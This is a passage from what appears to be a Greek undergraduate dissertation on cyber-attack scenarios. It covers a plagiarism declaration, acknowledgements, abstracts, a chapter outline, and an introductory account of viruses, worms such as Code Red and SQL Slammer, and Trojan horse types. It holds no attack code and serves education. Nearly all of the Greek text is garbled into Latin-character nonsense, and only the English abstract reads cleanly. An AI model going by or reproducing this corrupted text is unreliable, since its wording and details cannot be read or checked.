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«Me arouikr} pou uBuvn kai yvwpilovrac Tic KupWaeic W, mou mpoBAémovral amré g
oiaraéeic tng map. 6 Tou apbpou 22 tou N. 1599/1986, dnAwvw ori:

1. Aev mapabérw kouuartia BiBAiwv 1 GpBpwv 1 epyaciwv AAAwv autoAeéei xwpic va
Ta MEPIKAEIW O€ gI0ayWYIKA KQl XWPIS va avapépw 1o ouyypa@éa, Tn XpovoAoyia, n
oeAida. H auroAeéei mapdBson xwpic ei0aywyikd xwpic avapopd ortnv tnyn, Eivai
AoyokAomn. TMépav NG autoAeéei mapdBeang, AoyokAorr) Bswpeirar kar n mapdepacn
gdagiwv amo épya aMwy, cuutTepIAauBavouévwy Kai EPYwV CULPOITNTWY LIoU, KaBw¢
Kai n mapdBean aroixeiwv mou dAAor cuvéAeéav ) ereéepydadbnkay, xwpic avapopd atnv
mnyn. Avagépw Tavrore ue mANPOTNTA TNV TNYNH KATw Q1o 1oV mmivaka ) oxédio, 0w
ora mapabéuara.

2. Aéxouar 6t n auroAeei mapdBgon xwpic glo0aywyikd, akoua Ki Qv ouvoOeUETal
ammé avagopd otnv Tnyn o€ KAmoio dAAo onueio Tou Kelpévou 1 oTo TEAOS Tou, Eival
avriypan. H avagopd omv mnyn o010 TEAOC T.X. LIS TTapaypd@ou N uiag aeAidag, oev
OIkaioAoyei ouppagn dagiwv Epyou AAAoU ouyypagéa, E0TwW Kal TTAPAPPACLEVWY, KAl
mapouagiaan Tous wg OIKN 110U gpyacia.

3. Aéxouar Om umtdpxel €mIONS TTEPIOPICUOS OTO HEYEBOS KAl OTH OUXVOTNTA TWV
TaPABEUATWY TTOU UTTOPW VA EVIGEW OTNV EPYATIA [IOU EVTOC EI0aywyIKWV. KGOt LeydAo
mapabeua (1m.x. o€ mivaka 1 mAaioio, KAT), TTPOUTTOBETEl EI0IKES pUBUIoEIS, Kal dTav
onuoaoievstal TPOUTTOBETEI TNV AdEIX TOU OUYYPAPEQ 1 ToU €KOOTN. To idIo Kal o1 TTIVaKES
Kar Ta axédia

4. Aéxouar OAES TIC GUVETTEIEG OE TTEPITITWAN AOYOKAOTINS I QvTiypagnig.

Huepounvia: ... /.....12022

(1) «Ormoiog ev yvwaoel Tou dnAwver weudn yeyovora 1 apveiral f amokpUTTel 1a aAnbiva ue
E&yypapn utreuBuvn dnAwaon

TOU dGpBpou 8 map. 4 N. 1599/1986 rtuwpeitar ue QUAGKIon TOuAdyioTov TPIWV unvwy. Edv o
UTTaiTio auTWV Twv mpaéewv

OKOTTEUE va TTPOCTIOPIOEI OTOV €QUTOV ToU N 0 GAAov tepiouciakd ogeAog BAarrrovrag 1pitov 1
OKOTTEUE va BAGwer GAAov, Tluwpeitar ue kGBeipén péxpr 10 eTwv. »



EYXAPIZTIEZ

[Ipotioctog opeilm va gvyapiotion Bepud tov kabnynt pov, Ap. AmOGTOA0 EEvAKn Yo
T0 TOAVTIHO Y¥PHVO TToL S1€0eaE Yo TN TEPATMON TNG TAPOVGOS EPYAGTING AALG KVPimG Yol
TNV EUMIGTOCHVN TOL Hov £0€1&e, Kot Yo TV ToAvTUn Ponbeta ko kaBodnynon tov otnv
emilvon dedpav Bepdtmv. Ot onpavtikég vrodeitelg Kot suuBovAég Tov pe Korevbuvay
0’ €vo 6(6TO TPOTO GKEYNG TAV® O’ OAOL KOL OV TTPOGEPEPAY CNUAVTIKE £QPOdLOL Y10 TNV
peténerta Con pov.

Evyapiotod to péin mc Emupomig mov miaiciocav avtiv pov v mpoomndOeia yio
EKTIOVIOT] TNG TTLYLOKNG EPYOACIOG.

Oa MBeha akdun vo amevfiveo Eva PEYAAO €LYOPIOT® GE OAOVLSC TOLG KOOMYNTEG TOL
tunpatog [TAnpoeopikng ko Tnienucovovidv mov glyo OAQ To YPOVIO TNG OKOONLOTKNG
LoV TOpPEing, Yo TIG TOAVTIUEG YVAOOELS OV HOV UETEOMOOV Kol UE EKAVAV KOADTEPO
avOpwmo.

TéNoc, éva peydro kat eyKapdo evyaptotd a&ilovv 600 Npweg TG KadnuepvodTTAS LoV,
o1 yoveig pov Avaotdoto Owovopov kol Baciiiky) Kaoccomoviov mov pe ompiéav noka
KOl OIKOVOUIKA OAa avtd ta xpovia, epovtilovtag yio TNV KaAOTEPN dvvoTi] HOPP®OT
LoV, dIVOVTAG OV KOVPAYIO VO TPOYWP® Kol VO VIEPTNO® KAOE eUmOI10 Yo v, pTAo®
0710 010Y0 pHov. [Tépav dpme amd v ToAVTUN VT oTAPIEN, OV E0MGV OAL TA EPOSLOL
woTte va Yive £vog cmotoc AvOpwomog Kot avto dgv pabaivetar, aAld petadidoeTat.






ITEPIAHWYH

H mopovca wtuyoky epyocio mpaypatedeTon tnv avaivon tov cevoapiov emBEcemv mov
UTopovV va Tpaypatomombovy and kdmolov hacker. I'tvetot o GUVORTIKY avopopd GTOVG
100G, Ta PUEPN omd To OTOi0 AMOTEAEITOL KO TIC PAGEIS TOV OTMG EMIGNG Kol KATO101 TOTTOL
KakOBovAov Aoyicpikov. Emmiéov, mapovsialovtat didpopot tHmot embécemv og va dikTvo
KaOdS Kot T HEBOAOVE TOV YPNGYOTOIOVV YO VO, UNV YIVOUV avTIANTTEG o1 emBEELC.

Iveton M avdivon tov katnyopiwdv tov threat actors, poll pe mapadetypoto mov
napatifeviol 61O TOPAPTNL, TOV TPOAYLATOTOOVV TS Topandve emiBéoelg ko 1 eEEMEN
TOVG ava Ta XpOVvio KaBmG avalvovTal Opot OTMS 01 ATENEC, TO TPOTA OMHElD KoL 01 Kivouvol
oL gvedpevovv amd tovg hacker.

EmnpocHétwg, avarvoviar ot aiyopifuol yoo Tig Mo yveootég katnyopieg embécewv Ko
yivetal avaivon Pocikdv KOSIKov Pe 6KOTO TNV KAADTEPT KATAVONOT TNG AEITOVPYiNG T®V
malware Kot Tov 1ov.

TéNoc, mapatnpovvToL Kot ovoAHOVTOL KATO10 GeEVAPLa EMBEGEMVY, 01 TPOTOL LE TOVG OTTOTOVG
Katapépvouy ol threat actors va ewofdrlovv ota cvotiuato, Kabd¢ mapatiBevior kol ot
TPOTOL AViYVELONG KO AVTILETOTIONG TETOOL £I00VG eMBEGEMV.






ABSTRACT

The following dissertation deals with the analysis of attack scenarios that can be carried out
by a hacker and provides a brief report on viruses, the parts of which it consists and its
phases as well as some types of malware. In addition, different types of attacks are presented
in a network as well as the methods they use to prevent attacks from being perceived.

The categories of actors' threats are analyzed, along with examples listed in the appendix,
who carry out the above attacks and their evolution over the years as terms such as threats,
vulnerabilities and dangers posed by hackers are analyzed.

In addition, the algorithms for the most well-known categories of attacks are analyzed and
key codes are analyzed in order to better understand the operation of malware and viruses.

Finally, some attack scenarios are observed and analyzed, the ways in which the threat agents
manage to enter the systems, as well as the ways to detect and deal with such types of
attacks.
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KED®AAAIO 1 Evoaywnyn

AVTIKEIILEVO TNG TOPOVGOG TTLYKNG epyaciog ivar N avdAvon tov cevapiov embéocewv
OV UIoPOLV Vo, Tpaypotomombodv omd kdmowov Hacker, xabBhg xor n avédivon tov
KaTNYoplidv tev threat actors mov vAomolovv avtég Tig embéoels. EmmAéov, avaidovtal ot
aAyoplOpol Yy TIC MO YVOOTEG Katnyopleg embécewmv, KAmOw GOeEvApPlO OTO Omoin
wePLypl@ovTal o1 ovTioToreg emBEcES OTMG €miong Kol Ol TPOMOL aviyveELONG Kol
AVTYETMOTIONG OVTAOV TOV EMOECEMV.

1.1 AOMH EPT'AXIA

Kepalato 1 - EISAFQrH

210 TPAOTO KEPAANIO YIVETOL [0l GUVTOUY OVAQOPE GTO OVTIKEIUEVO TOV aoYOAElTOL M
TOPOVCO TTVYLOKTY, KAOMG avalveTol Kot 1 dopun e,

KepaAaio 2 — KATHIOPIOINOIHZH ZENAPIQN ETTIOEZEQN

Méoa amd T0 deVTEPO KEPAANIO YIVETOAL [LLOL GUVOTTIKY] OVOPOPA GTOVG 10VG, TO LLEPT OO TOL
omoio amoTEAEITOL KOl TIC PACELS TOV OTMC EMIOTG Ko KATO101 TOTO1 KOAKOBOLAOL AOYIGHIKOD.
Emnpocbeta, mapovoidlovtar d1dpopor tomor embécemv oe éva dikTvo KOOMDC Kol TIC
pHeBOO0VG TOL YPNGYLOTOLOVV Y10 VO NV YIVOLV QVTIMNTTEC aLTEG O1 EMOECELS.

KepdaAawo 3 — THREAT ACTORS

210 KePAAoo TPia, YiveTOl OVAALON TOV OTEIADV, TOV TPOTOV CNUEIMV Kol TOV KIVOOIVEOV
mov gvedpevovv and tovg hackers. EmumAéov, avaidovtor o1 kotnyopieg tov threat actors
oAAG Ko ) eEEMEN TOVG avd T YpOVIQL.

Kepalaio 4 — AATOPIGMOI

Xe auTO T0 KEQAAOO avaAVOVTOL aAyoplOuIKd kdmolotl tpomot embécewv. ['vetanr avaivon
BactKOV KOOTK®OV Y10 EKTAOEVTIKOVS GKOTOVG,

Kepadaio 5 —SENAPIA EMIOEZEQN KAl TEXNIKES KYBEPNOASDAAEIAS

210 KEPAAMO aVTO, TOPATNPOVVTAL KOl OVOADOVTOL KATOW GEVAPLOL EMBEGEMV KOOGS Kot Ot
TpOTOL PE TOVG omoiovg Katagépvouv ot threat actors va ewoPdAovv G6To GLGTHUOTO.
EmumAéov, mapatiBevral ot 1pOTOL aviyveLoNg Kot AVTILETAOTIONG TETO0L £100VG EMBEGEWV.

MNapaptnua A—STUDY CASES

210 mapdpTHo VT, TAPOLGLALOVTAL EPYACTNPOKE GEVAPLO TO. OToio. GLUPAAOVLY oTNV
KOADTEPT KATAVONGT CNUAVIIKOV Opwv, OT®G sival ol Katnyopieg tov threat actors, oAAd
Kot 0pot dmwg to vulnerability.



KED®AAAIO 2 KATHI'OPIOIIOIHXH XENAPIQN
EINIOEXEQN

M emifeon otov KvPepvoympo &eivor €va GOVOAO EVEPYEIDV TOV EKTEAOVVIOL OO
TOPAYOVTEG OMEIADV, 01 0T0{01 Tpocmafohv va amoktcovy un e&ovcslodotnuévn tpdcfaon,
Vo KAEYOLV 0€00UEVO 1} VO TPOKOAEGOLV (UG 6€ VITOAOYIGTEG, HIKTVO VIOAOYIGTAOV 1 GAAL
VTOAOYIOTIKE cvoTiuota. Mo kvPepvoenifeon pmopel va e&omoAivbel omd omoladnmoTe
tonofecio. H enifeon pmopel va ektelectel amd éva dropo M po opdda ypnoUOTOIDVTOG
uio 1) TEPIGGOTEPES TAKTIKEG, TEXVIKES Kot dradkacieg (TTP) (Imperva, n.d.a).

2.1 TYIIOI KAKOBOYAOY AOT'TXMIKOY

KokdéBovro Aoyiopkd givor 0mo1odnmote Aoyiopikd mov £xel 6yed00TEL e 6KOTO Vo PAAEL,
vo. SWKOWYEL N VO OOKTNGEL U €EO0VGOJOTNUEVN TTPOGPROGT GTN CLOKELY COG Kol Vol
npokorécel PAAPN o€ dedouévo M/kar dropo pe mOAAOLG TpoOmovg. Eivon o amd Tig
HEYOADTEPES OMEIAEG GTO d10OIKTLO. YTAPYOVV TOAAEG LOPPEG TOV, 1 KoBepia e T S1KN TNG
puébodo mapadoong (davvopa emibeong). Kdabe pépa, 1o Ivotitovro AV-TEST koataypdoeet
whve and 350.000 véa kaxOBovia TpoypAupate (KokOBOLAO AOYIGHIKO) Kol OLVNTIKA
avemBounteg epapuoyés (PUA) (Comtact, 2019).

(Evotnta 2.1.A) I0I (VIRUSES)

Me tov 6po «IOZ» evdg vmoAoylot, N Omwg avaeépetor ota ayyAka «VIRUSy, Bempeite
0TO10ONTTOTE KAKOBOVAO TPdypoappa, 10 onoio umopel vo petagepbel amd vmoAoyloT) ©€
VITOAOYIOTN HEG® TNG OVTIYPAPNS KOL VO «LOAVVED (LETOPOPIKE atd TOVG PloA0YIKOVS 100C)
TOV LIOAOYIOTH Y®PIg TV mopéuPfacn tov ypnotn. 'Evac 10¢ vmoAoyiom) gival, ovGlooTIKA,
€vag TOTOG TPOYPAUIOTOS VITOAOYIGTH O 0010, OTaV EKTEAEITOL, AVATOPAYEL TOV E0VLTO TOV
TPOTOTOIMVTOG (AL TPOYPAULOTO VITOAOYIOTH KOl EIGAYOVTAG TOV KO TOL KOdka. ' va
KatoAdBovpe KAADTEPA TO TMOC Ol 101 TV LVIOAOYICTAOV AEITOVPYOVV, UTOPOVUE VO TOVG
TOPOUOLICOVLE LLE TOVG UETAPOPIKOVG 100G TOV TPOSPAAOVY TOVG avEpOTIVOLS 0PYOVIGHOVG,.
Onwg, Aowdv, ot 101 TposParovy Tovg avOpOTOLS , Kot He TV W0TNTA Vo PeTAAAAGGoVTOL,
£TG1 KO 01 101 TOV VTOAOYIGTAOV UmopovV va TpoTomotovvtal gite ot 10101 gite T avtiypapd
TOVG 0O POVOL TOVG KOl VO LETAGIOOVTOL OTO VTOAOYIGTY] GE VIOAOYLIOTY] LEGM TOV SIKTVOL 1|
0V AWSIKTVOV N LEG® SAPOP®V PECOV amoBNKeEVLON G, 0TS Ot onTiKol dickot, To. USB ko
ot okAnpoti diokot - harddrives (Houseofweb, 2020).

AOY® OTL 6T ONUEPIVY] EMOYN Ol TEPICCOTEPOL, AV Ol OAOL, Ol NAEKTPOVIKOL VITOAOYIGTES
(PC) kot ot mpocwmikoi vroroyiotég (Laptop) cuvoéovtan pe to Awdiktvo Kot pe TOmKd
diktua, Kévouv TN PeTddoon TV KaKOBOLA®Y TPOYPOUUUAT®V TOAD O EVKOAT).

Yxeddv 0hot ot 101 gival GuVOEdEUEVOL OE €va EKTEAEGILO apyEio, TPdyHa TOL oMpaivel OTL O
100G umopel vo vapyel o€ €vo cvotnuo. oAAG dev Ba eivar evepydg M dev Ba umopet va
eCamlwbel €mg O0tov €vag ypnotng TpéEelt M avoifel 10 KakOPovAo apyeio KEVIPIKOL
vroloyloy 1M 7wpoypoupo. Kabhg exteleite o kdOWKOG TOL KEVIPIKOV VTOAOYIOTH,
TapdAnAa ektedeite Kol 0 KOOGS Tov 100. Kavovikd, to mpdypappo mov gépet Tov 10



Aertovpyel Kovovikd Kot a@ov &yet «poivvOedy amd tov 10. [Mopdia avtd, kdmoior 1ol
avTIKaO1GTOOV TPOYpappaTe pe S1Kd TOLG avVTiYpOEQ, LE OTOTEAEGUO TO TPOYPOLLUO TTOL
apyKd Epepe TOV 10 VO KATOGTPEPETOL.

(Ynoevotnta 2.1.A.1) TA MEPH ENOX IOY

Ta Backd tpia pépn evog Pudoiuov 100 vroAoyiotdv ivol ta eEng (Seminars etwinning,

2019):

1.

O pyoaviepog pérvvong.

Ovopaletor oAMdg kot @opéag poAvvons. Avtog eivar o tpoOmOg He TOV OTOi0
eCamddvetan kol petadidetar o 106. 'Evag 10¢ akolovfel por cvykekpiuévn povtiva
00wV aeopd Tov TPOTO LE TOV 0moio peTadideTon. Avé KATO0 S1AoTNUR TOV O 106
elval TPoyPOUUATICUEVOGS, ovalnTasl d1apopo PEoH oTo omoio pmopet vor HeTad00EL.
Aoy avalntmoet , Ba eviomicer 6moo péco (my. okAnpd odloko, apyeia,
TPOYPAULOTO, KAT.) TO 0moio Oa poAvvet.

H mopoddtnon.

H mopoddtnon 1ov 100 pmopet va cupPet avd maco otiyun o€ va eKTeEAESIHO apyeio.
Kobog o 10¢ extedeitan, kabopileton 1 ovvOnkn katd v omoio 10 KoKOBovAO
eoptio Bo extedeotel N Oa petadobel, OTMOC Yo TOPAOEYHO O GUYKEKPILEVN
nuepopmvice 1 @pa, M VmapEn evOG GLYKEKPIUEVOL TPOYPAUUATOS, TO OPlo
YOPNTIKOTNTOS KOATOW0V OioKOL 1 oKOHO KOl TO GVOlYHo KATO0L GUYKEKPIUEVOL
apyelov.

To «m@éhpo popTtior.

To @optio avtd eivor 0VOLOGTIKE TO PECO 1] OKOWO KOl TO OEGOUEVA TTOL PEPOVY TO
KakopovAo @optio tov V. H dpdon tov umopei va yivel avtiAnmer, 10Tt TPOKoAE
MV eMPPEOvLVON TOV CLGTIHUATOG 1) AKOUA Kot «Tdympoy. Tig Teplocdtepeg PopES TO
eoptio avtd elvar 1 koKOPovAn evépyela mov yiveror, ywpilg va glvar amopoitmta
KATOGTPOPIKN 0AAL va givon petadotikt|. Eva avtimpoconeutikd mapddetypa stvor ta
pop—upmapdbupa 1 To. POP—UPUNVOLLOTOL.

(Ymoevotnta 2.1.A.2) OI ®AYXEIX ENOX I0Y

O1 101 TV VTOAOYIGTOV, OTMOG AVOPEPOLE KOl TOPATAVE®, CUUTEPIPEPOVTOL APKETA OO0 LIE
T0VG ProAoyKovg 10Vg mov Tposfdrovy v avBpomotta. Onmg, Aowdv, ot fidoiot 101,
£T61 Kol Ol 101 T®V VIOAOYIGTAOV €yovv €va kKOKAo {mng, o omoiog ywpiletar o QACEL.
[Mopakdto akoAovBohv o1 Téccepig pacelg Tov KOKAoL (mng evog 100 (Bacsthdakng, 2004).



1. H ¢don g adpaverac. To ukd poptio og ot TN Ao TG «L®NG» TOL TAPAUEVEL
adpavéc. To mpdypappo Tov 100, £xel EIGEADEL GTOV LTOAOYICTN 1| TO AOYICUIKO TOL
¥PNOTN, OAAL Ge avtd 10 0TAd dev TpoPaivel oe mepartépm evépyeleg. O 10¢ Oa
evepyomonbel 6To GTASIO0 NG «TVPOSOTNONCY. Aev TOPEYXOLY OAOL Ol 101 OVTH TN

@aon.

2. H @don Tov morlhamrhacrlacpoV. e auti T eAacn o 10¢ apyiletl vo petadideTon pe To
va moAdamioactdleTal, dnAadn e o va dnuovpyel avtiypaeo tov €ovtov tov. Ta
avtiypoaeo ovtd, tomofetovvion 6 GAAO TPOYPAUUOTA 1) OKOUO Kol GE UEPM TOL
ocvotnuatog oto Oioko. TIoAAEC @opéc, ol 101 «HopEOmMO0VVTOY, UE GKOTO Vo
TEPAGOVY AMOPOTPNTOL OO TO AOYICUIKA TPOCTACING Omd TOVG 10VG 1| amd TOLG
EMAYYEALOTIEG TNG TANPOPOPIKNG. ZaV OMOTEAEGHO, KAOE poAvouévo mpdypappo Ha
TEPEYEL EVa AVTIYPOPO «KAMVO» TOL 10V, 0 0moi0g oTn cuvéyeln Ba TeEPACEL GTO
016010 ™G 6140001,

3. H @daon t™g mopodétnons. 'Evag 10¢ mepvdel 6€ autn T ¢AcT OTAV EVEPYOTOLEITE,
Kol oe avtd to othddw Bo ekteAéoel TIg Asitovpyieg vy TG omoieg eapyng
wpoopilotav. H @don tg mupoddommong n oAMOC evepyomoinone, WTopel va
wpoxkAnOel amd ddpopa cuuPdvia mov yivovtal 6To GVOTNUA, OTMOG ETIONG KOl OO
oV aplOpd TOV avIypde®V TOV E0VTOV TOV TOV £YEL ONLOVPYNGEL O 1010 0 10¢ 1| Kot
Ta aviiypaed tov. H mopoddtnon pmopei va mpokAnOel amd xdamolo evépyeld Tov
YPNOTN M OKOUO KOl KATOW0 YPOVIKO SWIGTNUA apyOTeEPO UE OKOTO TNV OGO TO
SVVOTOV LEYOADTEPT] ATTOPLYN VIOYIMV Y10 TO TAOG O 10 TVPOSOTHONKE.

4. H @daon ™ ektéreons. Téroptn ko televtaion pacn tov KOKAoL {oNG evog 100
amotelel | AOM TNG EKTEAEONG TOV. AT €lval TO TPAYHATIKO vOnua VTapENG ToL
100, Katd to omoio amedevBepdvel o KakOBovio @optio Tov. Mmopel va etvan glte
KOTOGTPOPIKO TPOG TOV VTOAOYIOTH OAAG TOPAAANAC KOl Y10, TOV YPNOTN, KOOMC
Umopel va dtaypayel apyeio, Vo KOTAOTPEYEL OpYEiRt | VO 00N YNOEL AKOUO KOl GTNV
KATAPPELOT TOL cvoTNUATOC. [Tapdia avtd pmopel va eivor Ko apkeTd axivouvoc,
kaBdg pmopet va gppaviCer unvopata 1 0dpopa mapdBvpa (POp—UpP messages or
pop-up windows).

(Evotnta 2.1.B) ZKOYAHKIA YITOAOI'TETQN (WORMS)

Ta «GKOVANKI TV VTOAOYIGTAOV £ivol OPKETA OLOLL LLE TOVS 10VG, S1OTL KOl QVTH UTOPOVV
Vo TOALOTAAGLOGTOVV Kot EMITAEOV UTOPOVV VAL TPOKAAEGOLV TOV {010 PafUd KATOGTPOPNG
pe avtovg. [T ocvykekpyéva, 1o GKOLANKIOL TMOV VTOAOYICTMOV UTOPOVV VO TOPAYOLV
aVTiypo@a TOL EUVTOV TOVG ME TO VO EKUETOAAEDOVTOL TO. aveEdpTnTo TPOTE onueia TV
dwtowv. Ta «okovVANKI» UTOpoOV v emPpadhvouy onuovtikd To diktva  kabmg
eEamlmvovtal and GUGTNUA GE CUGTILLOL.



Ye oavtifeon pe Tovg 100¢, ot omoiot Yo va eEamimbBodv amortodv TN S1ddoomn evog
HOALGUEVOD apyelov, T worms €XouV aVTOVOUO AOYWOHIKO Kot dev ypetdlovior KAmolo
TPOYPOLLO TTOV VO TAL LETAPEPEL 1 avBpdmv Bondeta yia va eEamimbBodv. Apéowg poAG o
VTOAOYIOTNG 1 TO GVGTNUA LOAVVOET, To. worms pmopovv va eEamimBodv eEapeTikd ypryopa
o€ 0AOKANPO TO SiKTLO.

Ta «oxovAnKi €VBVVOVTOL Y10 LEPIKES OO TIG TO KATAGTPOPIKEG £MOEGEIS 6TO AladiKTLO.
"Eva mapddetypo amoterel o Code Red worm, 1o omoio 10 2001, eixe apywd poivver 658
dwkopotég (Servers), katt 1o omoio dAAale péoa otig emdueveg 19 mpeg, 10 omoio eiye
eCamlmbel ko elye Koataeéper va poivvel miveo amd 300.000 dwkopotéc. IMoapaxdTm
mapoTifevtal OVO EIKOVEG, OO TIC OTOIEC 1 TPATN ATOTEAEL TOV TAYKOGHIO YAPTN TPV TNV
e&amlwon tov CodeRed (Ewova 1), evd otn devtepn, mapovcstaletal 1 EATANMGCT TOV HETA
a6 Kamolo Aentd (Ewdva 2).

Ewova 1: Before Code Red Worm

Ewova 2: After Code Red Worm



‘Eva axépo mapadetypa anoterel 1o SQL Slammer worm. To SQL Slammer amotelovoe o
enibeon DoS (Denial of Serviceattack), mov ekpetolievnke éva oedAiua buffer overflow
otov dtakouiot) SQL g Microsoft. 1o amokopOP®Ud TV, 0 aplUOg T®V HOAVGUEV®V
dwKopoTdv dmAactalotov Kabe 8,5 devtepdienta, o Pacikdg AOYOC MOV KOTAPEPE Vo
poAvver mave ond 250.000 vmoroyiotéc péca o 30 Aemtd. Otav kvkAogopnoe, otig 25
Tavovapiov 2003, katdeepe va eloPdiel 610 AodiKTVLO, GE YPNLOTOOIKOVOUKE 10pOUATO, GE
Tpoamelikd punyavnpuoto avaAnyng petpntav ATM, kot moAdd dAia. O Adyog yio tov omoio
eCamAdOnke apopd po evEEP®OT KMIKA, 1 omoia lxe KukAoPopnoel 6 unveg vopitepa,
Kol Ol OWKOUIOTEG Ol omoiot poAvvOnKav MTav ovtol oL OgV EQAPUOCHV LT TNV
evnUéP®OT. AVTO MToV Uio KOAN AQUTVIOT] Y10l TOAAOVG 0pYaVICHOVS, MGTE VAL EPUPUOGOVY
TOMTIKES AGPAAEIOG TOL VO OTTOLTEITOL 1] £YKOUPT) EPOUPLOYT EVIILEPDGEMDV.

[Mapatnpodpue, Aowmdv, OTL To. worms £xovv mapopole yopaktnplotikd. Olo  Tovg
EKUETAAAEDOVTOL KOl EVEPYOTOLOVV TIG eVTAOEIEG TV cvotnudtmyv. Oha £yovv éva TpOTO pE
ToV omoio petadidovtal Kot OAQ TEPLEYOVYV «OQEALO QOPTIO», ONANON TIG TPAYUATIKEG
TANPOPOPIES 1) TO VLU0 OTO LETAOIOOUEVO, OEGOUEVAL.

(Ymmoevotnta 2.1.B.1) TA 2YXTATIKA TQN «2KOYAHKIQN»

Me 10 mépacpa tov xpovov, Exovv VIAPEEL apKeTOl TPOTMOL e TOLG OTOioVG Umopel va
HETPLOOTEL [ KATaoTPOoPIkn e€dmiwon Tov worms. [Tapdia avtd, To worms cuveéyisay vo
eEedloocovtal Kot va amotelohv coPapn aneidr). Me v mapodo tov ypodvov, £x0VV Yivel o
eCeMypéva ko e€axolovBovv vo Pacilovtor oty EKUETAAAELON TOV AOVVAUIDV TOL
GLOTNLOTOG KO TWV EPAPUOYDV AOYIGUIKOV.

Ot teprocotepeg embBéoelg worms amoteAovvTal ad Tpia oTotyeln (GVOTATIKA):
1. H evepyomoinon otng evmdBewog: évo worm eykabiotator ypnolomoimvioag £va

UNYOVIoUO eKUETAAAELONG, OTT®OG Eva cuvnupévo email 1 éva ektedéoipo apyeio, M
axopa kat évo Trojan Horse (Evotnra 2.1.10), o€ évo e0dAmTto 6OGTNHHO.

2. Mnyovioudg petdooong: agov amoktndel m mpdoPacn oe pla cvokevn, TOTE
avamopayel Tov aTO ToV Kot apyilet Tn d10dkacion EVIOTIGHOD VE®V GTOY®V.

3. To weéMuo goptio: Kabe KakOPOVAOS KOIKAG OV 0dNYel o€ KAmowo evépyeta givat
éva opéApo eoptio. Tig meptocdTEPES POPES, AVTO YPNCILOTOEITE Yia T dNpovpyia
evog backdoor, omAadn pog «micom mOPTACH, MOV pmopel va emTpéyel GE Eval
TOPAYoVTo, OENG, TNV GUecn 1N aKOUO Kot PETENEITO TPOGPOCT GTO LOAVGUEVO
VROAOYIOTIKO GUGTNHO 1] Kot T dnpovpyia emBécewv DoS.

Ta worms elvar ovtoted) mpoypdupoto mov emrifeviar 6e €va cVOTNUO UHECH TNG
EKUETAAAEVONG KATO0G YVOGTHG VTAOEdS Tove. Metd TV emttuyn €1GBOAN GTO GVLGTNUA,
apyilet kKo molhamlactaletor amd To O LOAVCUEVO GUGTNIO GTO VEO, Kol 0LTOG 0 KUKAOG
ocvveyiletan pe tayeic pvBuovg. Or unyavicpoi pe tovg omoiovg dradidetar, eivar cuvnBwg
AVaTTUYUEVOL LE TETO0 TPOTO, TOV TOV KAVOLV SUGKOAO GTNV QViYVELON).



M tpopaxtiky onueioon gival 6Tt, To. worms 0V GTAUOTOVV TOTE TNV EEATAMOT TOVG GTO
Awdiktvo. Apéomg petd v anelevfépwon tovg, eEakolovBovv va dradidoviar pHéEypt va
oTLyUn| TG MO0 PHmoNg OAWV TV THAVOV TNYOV ELTAOEINS TOV GLGTNUAT®V.

(Evotnta 2.1.I") TROJAN HORSES

O 6pog Trojan Horse mpoépyetar and v EAAnvikn pvBoioyia. Zouemvo, Aowwdv, pe mmy
EAMnvicn poBoroyia, ot ' EAAnveg modepotés mpoceepayv otovg katoikovg tg Tpoioag (Tovg
Tpaeg — Trojans) éva yrydvtio ahoyo ¢ dwpo. To yiydvtio avtd GAoyo, 6TO0 E0OTEPIKO TOV
Nrav Koveo, Kol mepieiye péca Kamowovg amd tovg EAAnvec moAepiotéc. Ov Tpmdeg, pn
yvopilovtag avtn v TANpoPopia, THPAV T0 YIydviio Ahoyo HEco omd To TEYM TS TOANG
tovc. Katd ) dudpkeia g voytog, Kot apob Befordbnkav 6Tt o1 mtepiocodteporl Tpmeg eiyav
koun0ei, or 'EAAnveg moAepiotéc, Pynrav ond 10 dAoyo, dvolgav Tig TOAEG TG TOANG Kot
EMETPEYOV GTOVG VITOAOUTOVG ' EAANVEG TOAEMOTEG VO LTTOVV Ko VoL KOTOAGBOVY TNV TOAN.

To Trojan Horse wg kax6Bovio Aoyioukd, potdlet va eivar vopo. Tlapdra avtd, mepiéyet
KOKOPOVAO KOOIKO OV EKUETAAAEVETOL TO. TPOVOMO TOV YPNOTN, MO KOTAGTOOT 7OV
KOTOOTPEPEL TO CLOTNUO. XLYvA, Bo dovue TETOOL €idOVG KOKOPOLAX AOYIGHUKO VO
Bpiokovtor cuvdedepéva pe 01dpopa dladtkTvakd atyviow (Mapovkapng, 2012).

[Mwg, opmg, ot ypnoteg emMTPEMOVY 0€ £vo. KAKOPOVLAO AOYIGUIKO va €16EA0EL GTO GUGTNUA
tovg; O xpnoteg cuVNO®G TOPATANVIOVVTAL LE GKOTO VO POPTOCOLV KOl VO, EKTEAECOVV £Vl
Trojan Horse oto cvotiuatd tovg. Kabmg o yprote dtockeddlovv pe to motyvidl To omoio
€Yovv eykoTaotnoelg, ogv Ba mapatnpnoovv kamoto wpoOPAnua. Ilapoia avtd, oTo
Tapacknvio, To Trojan €yel eykataoctadel oto cvotnua Tov ¥PNoth. O KaKOPBOVAOS KOOKOGC
Ba cuveyilel va TpEyel aKOLO KoL LETE TOV TEPLATIOUO TOL TOLYVIOLOV.

H 10éa evoc Trojan givon apketd svélktn. Mmopei va tpokalécel dpeon (nuid 6To cOGTNUA,
Vo TOPEYXEL OMOUAKPVUGHEVT TPOGPUOT Kol VO, EKTEAEGEL EVEPYEIEC OV VTOOEIKVOOVTOL €
OmOOTACE®MG N Vo emtpéyel TV TtpocPaoct ond backdoor. H 1don tov kaxdBfoviov avtod
AOYIGLIKOV VO OTOCTEALEL SEJOUEVO. OTOV KLPEPVO-EYKANUOTIOL, ETIONUAIVEL TNV OVAYKN
TapakolovOnonc g eEepOUEVIG KIvonG Yo TOVG OeiKTEC TV eMBECEWV.

Inuovtikn onueioon, ivar 0Tt Kakdfoviot kmdwkeg Trojan, ot omoiot Egovv TpomomomOet 1

axopa ypoetel €& oAOKANPOL amd TOLG KLPEPVO-EYKANUOTIEC, ovTOl ONAOT TOL E£YOUV
GLYKEKPLUEVOVG GTOYOVG, Etval TOAD SVGKOAO VoL aviyveLBovV.

(Ymoevotnta 2.1.I'.1) OI TYIIOI TQN TROJAN HORSE

Ta Trojan Horses ta&vopovvral, cuvinBmg, avaioya pe ™ {nud mTov tpokalovv 1) ToV TpdTo
pe tov omoio mapafralovy éva cLGTNUA, OTMG PAIVETOL GTOV TOPUKAT® TIVKA.



O TYIIOX ENOX TROJAN
HORSE

HNEPITPA®H

Remote — access
(Amopaxpovouévn tpdcfaocn)

Emitpénet tn pun €£0001000TNUEVT OTOUOKPVOUEVT
TpocPaon.

Data — sending (AmoctoAn
Agdopévmv)

